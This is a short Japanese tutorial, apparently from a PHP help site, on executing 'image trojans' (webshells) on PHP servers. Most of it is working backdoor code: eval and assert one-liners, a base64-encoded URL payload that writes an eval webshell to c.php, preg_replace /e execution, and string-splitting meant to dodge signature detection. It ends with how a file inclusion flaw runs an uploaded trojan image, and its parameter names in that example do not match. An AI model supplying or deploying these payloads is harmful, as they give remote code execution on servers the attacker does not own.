ホームページ  >  記事  >  バックエンド開発  >  PHPイメージトロイの木馬を実行する方法

PHPイメージトロイの木馬を実行する方法

王林
王林オリジナル
2019-09-19 11:54:1912539ブラウズ

PHPイメージトロイの木馬を実行する方法

#PHP イメージ トロイの木馬を実行する方法

1. 標準的な記述方法、eval を通じて PHP コードを直接実行する

@eval ($_POST['code']);

2. 動的にassertを実行して、トロイの木馬ファイル(最適な隠しファイル)を生成します

@$_GET['a']($_GET['code']);

3. 使用方法: URLから渡した後以下のパラメータでは、現在のディレクトリに c.php ファイルが生成されます。

/index.php?a=assert&code=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,
base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

パラメータが eval の場合、エラーが報告されます (eval は関数ではないため)トロイの木馬の生成に失敗し、アサートされます。同じエラーが報告されますが、トロイの木馬が生成されます。


4. preg_replace を使用してコードを実行します (先頭に任意の文字列を使用するだけです。異なる場合はコマンドが複数回実行される可能性があります)

@preg_replace("/re/e", $_POST['code'], "re");

5. シグネチャを分割します

session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');

6. ファイルの名前を変更します

$reg="c"."o"."p"."y";
$reg($_FILES['filename']['tmp_name'],$_FILES['filename']['name']);

インクルード脆弱性の使用方法

場合によっては、イメージ トロイの木馬をアップロードしますが、実行できないことがありますが、この時点で、インクルードの脆弱性がある場合、イメージ トロイの木馬は実行される可能性があります。

PHP コードに include($_GET['controller']) があり、URL パス: /index.php?controller=user がある場合、これは、以下に基づいて実行される対応するコントロールのようです。パラメータの組み込み。サーバーのコードですが、URL パスのパラメータが /index.php?uid=/upload/images/muma.jpg に変更されると、この時点でトロイの木馬が実行されます。

上記の内容は参考用です。

推奨チュートリアル:

PHP ビデオ チュートリアル

以上がPHPイメージトロイの木馬を実行する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。